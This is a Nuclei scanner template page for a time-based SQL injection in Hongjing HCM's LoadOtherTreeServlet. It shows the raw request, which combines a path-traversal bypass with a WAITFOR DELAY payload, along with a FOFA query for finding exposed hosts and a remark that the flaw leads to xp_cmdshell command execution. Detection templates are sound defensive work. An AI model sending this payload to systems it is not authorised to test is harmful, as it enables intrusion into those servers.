Hongjing HCM - Time-Based Sql Injection

ID: hjsoft-hcm-tb-sqli

Severity: high

Author: s4e-io

Tags: time-based-sqli,sqli,hjsoft,management-system

Description

There is a SQL injection vulnerability in the /gz/LoadOtherTreeServlet interface of Hongjing HCM. Unauthenticated remote attackers can use the SQL injection vulnerability with the database xp_cmdshell to execute arbitrary commands and control the server. After analysis and judgment, the vulnerability is easy to exploit and it is recommended to be fixed as soon as possible.

YAML Source

id: hjsoft-hcm-tb-sqli

info:
  name: Hongjing HCM - Time-Based Sql Injection
  author: s4e-io
  severity: high
  description: |
    There is a SQL injection vulnerability in the /gz/LoadOtherTreeServlet interface of Hongjing HCM. Unauthenticated remote attackers can use the SQL injection vulnerability with the database xp_cmdshell to execute arbitrary commands and control the server. After analysis and judgment, the vulnerability is easy to exploit and it is recommended to be fixed as soon as possible.
  reference:
    - https://github.com/wy876/POC/blob/main/%E5%AE%8F%E6%99%AFeHR%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3LoadOtherTreeServlet%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="HJSOFT-HCM"
  tags: time-based-sqli,sqli,hjsoft,management-system

http:
  - raw:
      - |
        @timeout: 20s
        GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A6%27--&flag=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - 'contains_all(body,"TreeNode","tab_id")'
          - 'contains(header,"text/xml")'
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502200390c498818ef89da3cc53b0276a231a52812929d8c93c98f570c8589626aa59022100eb968a1970f9d13ce60d84aea423015ed878ac7616947f19877951284881b143:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/hjsoft/hjsoft-hcm-tb-sqli.yaml"

View on Github